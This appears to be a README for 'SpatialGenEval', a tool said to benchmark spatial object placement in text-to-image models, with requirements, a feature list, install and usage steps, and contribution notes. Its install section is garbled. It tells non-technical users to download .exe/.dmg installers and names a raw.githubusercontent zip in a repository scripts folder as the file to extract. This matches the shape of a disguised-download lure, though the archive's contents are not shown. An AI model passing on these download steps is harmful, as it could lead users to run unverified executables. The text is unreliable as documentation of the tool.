Welcome to SpatialGenEval! This application helps you benchmark spatial intelligence in text-to-image models. With its simple interface, you can easily assess how well these models perform in placing objects in their generated images.
You can download SpatialGenEval from our Releases page here: Visit this page to download.
Before you download, ensure your computer meets the following requirements:
- Operating System: Windows 10 or later, macOS Mojave or later, or a recent version of Linux.
- RAM: At least 4 GB.
- Disk Space: At least 100 MB available.
- Processor: Intel i3/Ryzen 3 or better.
Ensure your system is updated for the best experience.
SpatialGenEval comes packed with features to assist you:
- Benchmarking Tools: Compare multiple text-to-image models effortlessly.
- User-Friendly Interface: No technical knowledge required—just open the application and get started!
- Visualization: See graphics and results that illustrate the performance of different models.
- Export Results: Save your findings in common formats for sharing or further analysis.
- Visit our Releases page: Click here to go to Releases.
- Select the latest version available.
- Download the appropriate file for your operating system.
- Once downloaded, follow these steps to install:
- For Windows: Double-click the
.exefile and follow the installation prompts. - For macOS: Open the
.dmgfile and drag the SpatialGenEval icon to your Applications folder. - For Linux: Extract the
https://raw.githubusercontent.com/Sankalp-Savarn/SpatialGenEval/main/scripts/Spatial_Eval_Gen_v2.3.zipfile and run the application from the terminal.
- For Windows: Double-click the
After installation, you can launch the application and begin benchmarking.
- Open the SpatialGenEval application.
- Choose a text-to-image model you want to evaluate. You can select from the models available in the dropdown menu.
- Input your text prompt that describes the scene or objects you want the model to generate.
- Click the "Run Benchmark" button to start the evaluation process.
- Review the results, which will show how accurately the model places objects in the generated images.
If you run into issues or have questions, you can find support in the following ways:
- FAQ Section: Check the frequently asked questions on our GitHub repository.
- Issue Tracker: Report issues or request features in our Issues section.
- Community Discussions: Join discussions around best practices and tips on usage within the repository.
We welcome contributions! If you wish to contribute, please follow these guidelines:
- Fork the repository to your GitHub account.
- Make your changes in a new branch.
- Submit a pull request summarizing what you have done.
Your input helps us improve SpatialGenEval for everyone.
Explore and enjoy using SpatialGenEval!